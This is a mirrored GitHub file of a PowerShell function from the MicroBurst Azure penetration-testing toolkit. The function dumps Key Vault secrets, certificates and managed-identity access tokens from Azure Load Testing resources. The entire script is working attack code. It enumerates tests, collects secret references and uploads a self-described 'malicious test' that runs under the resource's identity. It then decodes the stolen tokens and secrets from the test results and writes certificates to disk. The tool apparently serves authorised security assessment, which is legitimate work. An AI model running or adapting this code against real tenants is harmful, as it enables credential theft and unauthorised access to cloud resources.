mirror of
https://github.com/NetSPI/MicroBurst
synced 2026-06-08 12:01:29 +00:00
79f476761f
Added the Get-AzLoadTestingData function and the supporting files.
536 lines
27 KiB
PowerShell
536 lines
27 KiB
PowerShell
<#
|
|
File: Get-AzLoadTestingData.ps1
|
|
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2025
|
|
Description: PowerShell functions for dumping Key Vault Credentials and Managed Identity tokens from Azure Load Testing resources
|
|
#>
|
|
|
|
function Get-AzLoadTestingData{
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
PowerShell function for dumping dumping Key Vault Credentials (Secrets and Certificates) and Managed Identity tokens from Azure Load Testing resources.
|
|
.DESCRIPTION
|
|
The function will dump Key Vault Credentials (Secrets and Certificates) and Managed Identity tokens from Azure Load Testing resources
|
|
.PARAMETER Subscription
|
|
Subscription to use.
|
|
.PARAMETER folder
|
|
The folder to output to.
|
|
.PARAMETER SaveTestFile
|
|
Boolean option to save the test files from the load testing service
|
|
.PARAMETER Type
|
|
Ability to select JMX or Locust type of test
|
|
.EXAMPLE
|
|
PS C:\> Get-AzLoadTestingData -Verbose -SaveTestFile $true
|
|
VERBOSE: Logged In as testaccount@example.com
|
|
VERBOSE: Dumping Load Testing Accounts from the "Testing Resources" Subscription
|
|
VERBOSE: 2 Load Testing Resources Enumerated
|
|
VERBOSE: 4 Tests enumerated for the notarealtestload resource
|
|
VERBOSE: Processing the "Test_3/11/2025_6:56:08 PM" test
|
|
VERBOSE: File saved locally to C:\notarealtestload-f36b661f-c97c-41ac-a695-8467c5e3146f-microburst.jmx
|
|
VERBOSE: Processing the "Local" test
|
|
VERBOSE: File saved locally to C:\notarealtestload-ca3011cf-ca1f-45a8-8e91-b151878ca00b-url_test.jmx
|
|
VERBOSE: Processing the "Test" test
|
|
VERBOSE: File saved locally to C:\notarealtestload-ec7c7079-6a25-4723-9aaa-a6c408bac059-additional.jmx
|
|
VERBOSE: Processing the "Test_3/11/2025_3:44:30 PM" test
|
|
VERBOSE: File saved locally to C:\notarealtestload-f36b661f-c97c-41ac-a695-8467c5e3103a-url_test.jmx
|
|
VERBOSE: 1 Secret(s) and 1 Certificate(s) gathered for extraction from the notarealtestload resource
|
|
VERBOSE: SystemAssigned Managed Identity associated with the notarealtestload resource
|
|
VERBOSE: Creating malicious test "microburst (e89daa9c-8ba1-4545-8171-5cf73b85965a)" for the notarealtestload resource
|
|
VERBOSE: Malicious test "microburst (e89daa9c-8ba1-4545-8171-5cf73b85965a)" created
|
|
VERBOSE: Malicious test file uploaded
|
|
VERBOSE: Waiting 15 seconds for file validation...
|
|
VERBOSE: Malicious test file validated
|
|
VERBOSE: Starting malicious test
|
|
VERBOSE: Waiting on test results...
|
|
VERBOSE: Current Status: PROVISIONING
|
|
VERBOSE: Waiting 30 seconds for test results...
|
|
[Truncated]
|
|
VERBOSE: Current Status: EXECUTING
|
|
VERBOSE: Waiting 30 seconds for test results...
|
|
VERBOSE: Test completed - Generating test results
|
|
VERBOSE: Getting test results
|
|
VERBOSE: Certificate saved locally to C:\testcert.pfx
|
|
VERBOSE: Test deleted
|
|
VERBOSE: Completed dumping of the notarealtestload resource
|
|
VERBOSE: No tests enumerated for the noIdentity resource
|
|
VERBOSE: Completed dumping of the "Testing Resources" Subscription
|
|
|
|
|
|
Type : Secret
|
|
Name : testsecret
|
|
Value : it'sasecret
|
|
Link : https://notarealvault.vault.azure.net/secrets/TestSecret/ca1c30f0112044a1ae9a89f4b6b2eed7
|
|
ManagedID : SystemAssigned
|
|
|
|
Type : Secret
|
|
Name : test2
|
|
Value : it'sanothersecret
|
|
Link : https://notarealvault.vault.azure.net/secrets/TestSecret2/042da8617f994f68b0c97fd1fdb63305
|
|
ManagedID : SystemAssigned
|
|
|
|
Type : Certificate
|
|
Name : testcertificate
|
|
Value : MIIKOAIBAzCCCfQGCSqGSIb3DQEHAaCCCeUE...
|
|
Link : https://notarealvault.vault.azure.net/certificates/testcertificate/f2e695f3156d49e4a3ebdb9f6c0a8a9d
|
|
ManagedID : SystemAssigned
|
|
|
|
Type : Variable
|
|
Name : ENV_VAR
|
|
Value : testvariable
|
|
Link : N/A
|
|
ManagedID : N/A
|
|
|
|
Type : Token
|
|
Name : https://management.azure.com/
|
|
Value : eyJ0.[TRUNCACTED].mlQ
|
|
Link : N/A
|
|
ManagedID : 81b94dca-a65e-489b-bf87-1bf17ff48dad
|
|
.LINK
|
|
https://learn.microsoft.com/en-us/rest/api/loadtesting/dataplane/load-test-run/create-or-update-test-run?view=rest-loadtesting-dataplane-2022-11-01&tabs=HTTP
|
|
.LINK
|
|
https://learn.microsoft.com/en-us/azure/load-testing/how-to-parameterize-load-tests?tabs=jmeter
|
|
.LINK
|
|
https://learn.microsoft.com/en-us/rest/api/loadtesting/dataplane/load-test-administration?view=rest-loadtesting-dataplane-2022-11-01
|
|
#>
|
|
|
|
<#
|
|
Unsupported Edge Cases:
|
|
* Multiple tests with different certificates
|
|
* Example: Test 1 uses Cert 1 - Test 2 uses Cert 2
|
|
* Current script logic will use the first available cert, but tests are limited to one cert per test
|
|
* Additional certs are logged with their KV URL and Managed ID type, the values just show as "Not Extracted"
|
|
* You will need to manually create additional tests to cover the additional certificates that you want to extract
|
|
* Multiple Managed Identities in use
|
|
* Both System Assigned and User Assigned identities attached to the resource
|
|
* Or multiple User Assigned identities attached
|
|
* The logic here gets way too complex and it's easier to manually create a test case to cover this
|
|
* Multiple Tests with Different User Assigned identities for each test
|
|
* Kind of falls into the above, but if one test uses UA-MI #1 and the other uses UA-MI #2, then the logic breaks in the script
|
|
* Again probably easier to manually create a test case to cover this
|
|
#>
|
|
|
|
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Subscription to use.")]
|
|
[string]$Subscription = "",
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Save the test files to the local folder.")]
|
|
[bool]$SaveTestFile = $false,
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Folder to output to.")]
|
|
[string]$Folder = "",
|
|
[parameter(Mandatory=$false,
|
|
HelpMessage="Select a test file type - JMX or Locust.")]
|
|
[ValidateSet("JMX","Locust")]
|
|
[String]$Type = "JMX"
|
|
)
|
|
|
|
# Check to see if we're logged in
|
|
$LoginStatus = Get-AzContext
|
|
$accountName = ($LoginStatus.Account).Id
|
|
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
|
|
try {Connect-AzAccount -ErrorAction Stop}
|
|
catch{Write-Warning "Login process failed."}
|
|
}
|
|
else{}
|
|
|
|
|
|
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
|
|
if ($Subscription){
|
|
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
|
|
}
|
|
else{
|
|
# List subscriptions, pipe out to gridview selection
|
|
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
|
|
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
|
|
foreach ($sub in $subChoice) {Get-AzLoadTestingData -Subscription $sub -folder $folder -SaveTestFile $SaveTestFile -Type $Type}
|
|
return
|
|
}
|
|
|
|
Write-Verbose "Logged In as $accountName"
|
|
|
|
# Check Folder Path
|
|
if ($folder -ne ""){
|
|
if(Test-Path $folder){}
|
|
else{New-Item -ItemType Directory $folder | Out-Null}
|
|
}
|
|
else{$folder = $PWD.Path}
|
|
|
|
# Stop the change warnings
|
|
Update-AzConfig -DisplayBreakingChangeWarning $false | Out-Null
|
|
|
|
#Get list of Load Testing Resources
|
|
Write-Verbose "Dumping Load Testing Accounts from the `"$((get-azcontext).Subscription.Name)`" Subscription"
|
|
$loadTesters = Get-AzLoad
|
|
Write-Verbose "`t$($loadTesters.Count) Load Testing Resources Enumerated"
|
|
|
|
# Create data table to house results
|
|
$TempTbl = New-Object System.Data.DataTable
|
|
$TempTbl.Columns.Add("Type") | Out-Null
|
|
$TempTbl.Columns.Add("Name") | Out-Null
|
|
$TempTbl.Columns.Add("Value") | Out-Null
|
|
$TempTbl.Columns.Add("Link") | Out-Null
|
|
$TempTbl.Columns.Add("ManagedID") | Out-Null
|
|
|
|
# Get the token - Fixed Secure String Casting here
|
|
$AccessToken = (Get-AzAccessToken -ResourceUrl "https://cnt-prod.loadtesting.azure.com/")
|
|
if ($AccessToken.Token -is [System.Security.SecureString]) {
|
|
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
|
|
try {
|
|
$token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
|
|
} finally {
|
|
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
|
|
}
|
|
}
|
|
else {
|
|
$token = $AccessToken.Token
|
|
}
|
|
|
|
# Iterate through the load tester resources
|
|
$loadTesters | ForEach-Object{
|
|
|
|
$currentLoadTester = $_.Name
|
|
$endpoint = $_.DataPlaneUri
|
|
|
|
# Get Test List
|
|
$testList = ((Invoke-WebRequest -Uri (-join("https://",$endpoint,"/tests?api-version=2022-11-01")) -Verbose:$false -Headers @{ Authorization ="Bearer $token"} -UseBasicParsing).content | ConvertFrom-Json).value
|
|
|
|
if($testList.Count -gt 0){
|
|
|
|
Write-Verbose "`t`t$($testList.Count) Test(s) enumerated for the $currentLoadTester resource"
|
|
|
|
# Secrets and Certs Lists
|
|
$newSecrets = @{}
|
|
$newCertificates = @{}
|
|
|
|
$testList | ForEach-Object{
|
|
$testIDfull = ((Invoke-WebRequest -Uri (-join("https://",$endpoint,"/tests/",$_.testId,"?api-version=2022-11-01")) -Verbose:$false -Headers @{ Authorization ="Bearer $token"}).content | ConvertFrom-Json)
|
|
$currentTestID = $_.testId
|
|
Write-Verbose "`t`t`tProcessing the `"$($testIDfull.displayName)`" test"
|
|
|
|
# For each test, get the JMX Url
|
|
$testIDinfo = $testIDfull.inputArtifacts.testScriptFileInfo
|
|
$urlList = $testIDinfo | select url,fileName
|
|
|
|
$secretList = $testIDfull | select secrets
|
|
$certList = $testIDfull | select certificate
|
|
$varList = ($testIDfull | select environmentVariables).environmentVariables
|
|
|
|
# Check the Managed Identities
|
|
if($testIDfull.keyvaultReferenceIdentityType -match "UserAssigned"){
|
|
$midType = $testIDfull.keyvaultReferenceIdentityId
|
|
}
|
|
else{$midType = $testIDfull.keyvaultReferenceIdentityType}
|
|
|
|
# For each URL, get the file and save it locally
|
|
if($SaveTestFile -eq $true){
|
|
$urlList | ForEach-Object{
|
|
Invoke-WebRequest -Uri $_.url -OutFile (-join($folder,"\",$currentLoadTester,"-",$currentTestID,"-",$_.fileName)) -Verbose:$false
|
|
Write-Verbose "`t`t`t`tFile saved locally to $((-join($folder,"\",$currentLoadTester,"-",$currentTestID,"-",$_.fileName)))"
|
|
}
|
|
}
|
|
|
|
# Get the Secret URLs from the test
|
|
$secretList | foreach {
|
|
$_.psobject.properties | foreach {
|
|
$_.value | foreach {
|
|
$_.psobject.properties | foreach {
|
|
if($null -ne $_.value.value){
|
|
try{
|
|
# Add Secret to the table
|
|
$TempTbl.Rows.Add("Secret",$_.name,"N/A",$_.value.value,$midType) | Out-Null
|
|
$newSecrets += @{$($_.name) = @{
|
|
value = $_.value.value
|
|
type = "AKV_SECRET_URI"
|
|
}
|
|
}
|
|
}
|
|
catch{}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# Get the Cert URLs from the test
|
|
$certlist | ForEach-Object {
|
|
if($null -ne $_.certificate.value){
|
|
try{
|
|
# Add Cert to the table
|
|
$TempTbl.Rows.Add("Certificate",$_.certificate.name,"Not Extracted",$_.certificate.value,$midType) | Out-Null
|
|
if($newCertificates.Count -lt 1){
|
|
$newCertificates += @{
|
|
name = $_.certificate.name
|
|
value = $_.certificate.value
|
|
type = "AKV_CERT_URI"
|
|
}
|
|
}
|
|
else{write-host -ForegroundColor Yellow "Edge Case - The $currentLoadTester resource has multiple certificates over multiple cases. You will need to manually create a malicious test for the certificate associated with the $currentTestID test."}
|
|
}
|
|
catch{}
|
|
}
|
|
}
|
|
|
|
# Get the Variable Values from the test
|
|
$varList | foreach {
|
|
$_.psobject.properties | foreach {
|
|
if($null -ne $_.value){
|
|
# Add Variable to the table
|
|
$TempTbl.Rows.Add("Variable",$_.name,$_.value,"N/A","N/A") | Out-Null
|
|
}
|
|
}
|
|
}
|
|
|
|
# Null out for the next loop
|
|
$secretList = $null
|
|
$certList = $null
|
|
$varList = $null
|
|
|
|
}
|
|
|
|
Write-Verbose "`t`t`t$($newSecrets.Count) Secret(s) and $($newCertificates.name.Count) Certificate(s) gathered for extraction from the $currentLoadTester resource"
|
|
|
|
|
|
# Reference for Identity Settings
|
|
$currentTestObject = (Invoke-AzRestMethod -Path (-join($_.Id,"?api-version=2022-12-01"))).Content | ConvertFrom-Json
|
|
|
|
# Check Managed Identity Assignment
|
|
if("None" -notmatch $currentTestObject.identity.type){
|
|
|
|
# Managed Identity Workflow
|
|
Write-Verbose "`t`t`t$($currentTestObject.identity.type) Managed Identity associated with the $currentLoadTester resource"
|
|
|
|
# If system assigned or user-assigned, go this route
|
|
if(($currentTestObject.identity.type -eq "SystemAssigned") -or ($currentTestObject.identity.type -eq "UserAssigned")){
|
|
# Create GUID and URL for the new test
|
|
$testGUID = $((New-Guid).Guid)
|
|
Write-Verbose "`t`t`tCreating malicious test `"microburst ($testGUID)`" for the $currentLoadTester resource"
|
|
$newTesturi = "https://$($endpoint)/tests/$($testGUID)?api-version=2024-12-01-preview"
|
|
|
|
# HTTP Headers
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
"Content-Type" = "application/merge-patch+json"
|
|
}
|
|
|
|
if($Type -eq "Locust"){
|
|
$newEnvVars += @{
|
|
LOCUST_USERS = "1"
|
|
LOCUST_SPAWN_RATE = "1"
|
|
LOCUST_RUN_TIME = "60"
|
|
LOCUST_HOST = ""
|
|
}
|
|
}
|
|
else{$newEnvVars = @{}}
|
|
|
|
# Set secrets and certs in this body
|
|
$body = @{
|
|
testId = "$testGUID"
|
|
description = ""
|
|
displayName = "microburst"
|
|
loadTestConfiguration = @{
|
|
engineInstances = 1
|
|
splitAllCSVs = $false
|
|
regionalLoadTestConfig = $null
|
|
}
|
|
kind = $Type
|
|
secrets = $null
|
|
certificate = $null
|
|
environmentVariables = $newEnvVars
|
|
passFailCriteria = @{
|
|
passFailMetrics = @{}
|
|
passFailServerMetrics = @{}
|
|
}
|
|
autoStopCriteria = @{
|
|
autoStopDisabled = $false
|
|
errorRate = 90
|
|
errorRateTimeWindowInSeconds = 60
|
|
}
|
|
subnetId = $null
|
|
publicIPDisabled = $false
|
|
keyvaultReferenceIdentityType = $($currentTestObject.identity.type)
|
|
keyvaultReferenceIdentityId = $null
|
|
metricsReferenceIdentityType = $($currentTestObject.identity.type)
|
|
metricsReferenceIdentityId = $null
|
|
engineBuiltinIdentityType = $($currentTestObject.identity.type)
|
|
engineBuiltinIdentityIds = $null
|
|
}
|
|
|
|
# Add new secrets and certs to the existing 'secrets' hashtable
|
|
if($newSecrets.Count -ge 1){$body['secrets'] += $newSecrets}
|
|
if($newCertificates.Count -ne 0){$body['certificate'] += $newCertificates}
|
|
|
|
# Convert to JSON after modifications
|
|
$jsonBody = $body | ConvertTo-Json -Depth 10
|
|
|
|
# Create the new test
|
|
Invoke-RestMethod -Uri $newTesturi -Method Patch -Headers $headers -Body $jsonBody -Verbose:$false | Out-Null
|
|
Write-Verbose "`t`t`t`tMalicious test `"microburst ($testGUID)`" created"
|
|
|
|
# Upload the Script file
|
|
if($Type -eq "JMX"){$newJMXuri = "https://$endpoint/tests/$testGUID/files/microburst.jmx?fileType=TEST_SCRIPT&api-version=2024-12-01-preview"}
|
|
else{$newJMXuri = "https://$endpoint/tests/$testGUID/files/microburst.py?fileType=TEST_SCRIPT&api-version=2024-12-01-preview"}
|
|
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
"Content-Type" = "application/octet-stream"
|
|
}
|
|
|
|
# Path to the test script file
|
|
if($Type -eq "JMX"){$filePath = "$PSScriptRoot\..\Misc\LoadTesting\microburst.jmx"}
|
|
else{$filePath = "$PSScriptRoot\..\Misc\LoadTesting\microburst.py"}
|
|
|
|
# Read file as a byte array
|
|
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
|
|
|
|
# Upload the file
|
|
Invoke-RestMethod -Uri $newJMXuri -Method Put -Headers $headers -Body $fileBytes -Verbose:$false | Out-Null
|
|
Write-Verbose "`t`t`t`tMalicious test file uploaded"
|
|
|
|
# Wait for the new test to validate
|
|
$newJMXstatusuri = "https://$endpoint/tests/$($testGUID)?api-version=2024-12-01-preview"
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
}
|
|
while((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).inputArtifacts.testScriptFileInfo.validationStatus -notmatch "VALIDATION_SUCCESS"){
|
|
Write-Verbose "`t`t`t`t`tWaiting 15 seconds for file validation..."
|
|
sleep -Seconds 15
|
|
}
|
|
|
|
Write-Verbose "`t`t`t`tMalicious test file validated"
|
|
|
|
# Run the Test
|
|
$body = @{
|
|
testId = "$testGUID"
|
|
displayName = "microburst"
|
|
secrets = $null
|
|
certificate = $null
|
|
environmentVariables = @{}
|
|
description = $null
|
|
loadTestConfiguration = @{
|
|
optionalLoadTestConfig = $null
|
|
}
|
|
debugLogsEnabled = $false
|
|
requestDataLevel = "NONE"
|
|
}
|
|
|
|
# Add new secrets and certs to the existing 'secrets' hashtable
|
|
if($newSecrets.Count -ge 1){$body['secrets'] += $newSecrets}
|
|
if($newCertificates.Count -eq 1){$body['certificate'] += $newCertificates}
|
|
|
|
$jsonBody = $body | ConvertTo-Json -Depth 10
|
|
|
|
$runGUID = $((New-Guid).Guid)
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
"Content-Type" = "application/merge-patch+json"
|
|
}
|
|
$runTesturi = "https://$endpoint/test-runs/$($runGUID)?api-version=2024-12-01-preview"
|
|
Invoke-RestMethod -Uri $runTesturi -Method Patch -Headers $headers -Body $jsonBody -Verbose:$false | Out-Null
|
|
|
|
Write-Verbose "`t`t`t`tStarting malicious test"
|
|
|
|
|
|
# Wait for results While(status -eq...)
|
|
Write-Verbose "`t`t`t`tWaiting on test results..."
|
|
|
|
# Wait for the test to be marked as "DONE"
|
|
$newJMXstatusuri = "https://$endpoint/test-runs/$($runGUID)?api-version=2024-12-01-preview"
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
}
|
|
|
|
While((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).status -notmatch "DONE"){
|
|
Write-Verbose "`t`t`t`t`tCurrent Status: $((Invoke-RestMethod -Uri $newJMXstatusuri -Verbose:$false -Method Get -Headers $headers).status)"
|
|
Write-Verbose "`t`t`t`t`t`t`t`tWaiting 30 seconds for test results..."
|
|
sleep -Seconds 30
|
|
|
|
}
|
|
|
|
# Get the Results file
|
|
$resultsURI = "https://$endpoint/test-runs/?testId=$($testGUID)&api-version=2024-12-01-preview"
|
|
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
}
|
|
Write-Verbose "`t`t`t`t`tTest completed - Generating test results"
|
|
while ($null -eq $resultsFileURI){
|
|
$resultsFileURI = ((Invoke-RestMethod -Verbose:$false -Uri $resultsURI -Method Get -Headers $headers).value | where testRunId -Match $runGUID).testArtifacts.outputArtifacts.resultFileInfo.url
|
|
}
|
|
Write-Verbose "`t`t`t`tGetting test results"
|
|
|
|
# Download Zip file of requests
|
|
Invoke-WebRequest -Uri $resultsFileURI -OutFile $folder"\results.zip" -Verbose:$false | Out-Null
|
|
|
|
# Unzip the file
|
|
Expand-Archive $folder"\results.zip" -DestinationPath $folder"\results" | Out-Null
|
|
|
|
# Parse the CSV
|
|
$urlResults = (gc $folder"\results\engine1_results.csv" | ConvertFrom-Csv | select URL | where URL -NE "null" | sort -Unique).url
|
|
if($Type -eq "JMX"){$b64obj = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($urlResults.Split("?")[1].trimstart('token').trimstart('='))) | ConvertFrom-Json}
|
|
else{
|
|
Add-Type -AssemblyName System.Web
|
|
$decoded = [System.Web.HttpUtility]::UrlDecode($urlResults)
|
|
$b64obj = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($decoded.Split("?")[1].trimstart('token').trimstart('='))) | ConvertFrom-Json
|
|
}
|
|
|
|
# Put the tokens/secrets into the output
|
|
if($Type -eq "JMX"){$TempTbl.Rows.Add("Token",$($b64obj.token | ConvertFrom-Json).resource,$($b64obj.token | ConvertFrom-Json).access_token,"N/A",$($b64obj.token | ConvertFrom-Json).client_id) | Out-Null}
|
|
else{$TempTbl.Rows.Add("Token",$($b64obj.token.resource),$($b64obj.token.access_token),"N/A",$($b64obj.token.client_id)) | Out-Null }
|
|
|
|
# Parse the secrets from the env vars
|
|
ForEach($line in $b64obj.environment){
|
|
# Iterate the secret values
|
|
$TempTbl | ForEach-Object{
|
|
if($line -match $($_.Name)){
|
|
#$_.Value =($line.Split('=')[1..$($line.Split('=').length)] | Out-String)
|
|
$row = $TempTbl.Select("Name = '$($_.Name)'")
|
|
if ($row.Count -gt 0) {
|
|
$row[0].Value = ($line.Split('=')[1..$($line.Split('=').length)] | Out-String).Trim()
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# If a cert, add it and save the pfx locally
|
|
if($b64obj.cert){
|
|
$row = $TempTbl.Select("Type = 'Certificate'")
|
|
if ($row.Count -gt 0) {
|
|
$row[0].Value = ($b64obj.cert | Out-String)
|
|
[IO.File]::WriteAllBytes("$folder\$($row.Name).pfx",[Convert]::FromBase64String($($b64obj.cert | Out-String)))
|
|
Write-Verbose "`t`t`t`t`tCertificate saved locally to $((-join("$folder\",$($row.Name),".pfx")))"
|
|
}
|
|
}
|
|
|
|
# Delete the local files
|
|
Remove-Item -Recurse $folder"\results"
|
|
Remove-Item $folder"\results.zip"
|
|
|
|
# Delete the test
|
|
$headers = @{
|
|
"Authorization" = "Bearer $token"
|
|
}
|
|
Invoke-RestMethod -Verbose:$false -Uri $newTesturi -Method Delete -Headers $headers | Out-Null
|
|
Write-Verbose "`t`t`t`tTest deleted"
|
|
}
|
|
elseif($currentTestObject.identity.type -eq "SystemAssigned, UserAssigned"){
|
|
# If both types of identities are in use, then test needs to be manually created
|
|
Write-Host -ForegroundColor Yellow "Edge Case - The $currentLoadTester resource has a System-Assigned Managed Identity and a User-Assigned Managed Identity associated. We don't expect to see this often, but the logic in our script isn't sophisticated enough to handle that scenario. You will need to manually create the test to exploit this one."
|
|
}
|
|
}
|
|
else{
|
|
Write-Verbose "`t`t`tNo Managed Identities associated with the $currentLoadTester resource"
|
|
}
|
|
|
|
Write-Verbose "`t`tCompleted dumping of the $currentLoadTester resource"
|
|
}
|
|
else{Write-Verbose "`t`tNo tests enumerated for the $currentLoadTester resource"}
|
|
}
|
|
|
|
# Output the Results Object
|
|
Write-Verbose "Completed dumping of the `"$((get-azcontext).Subscription.Name)`" Subscription"
|
|
$TempTbl
|
|
|
|
} |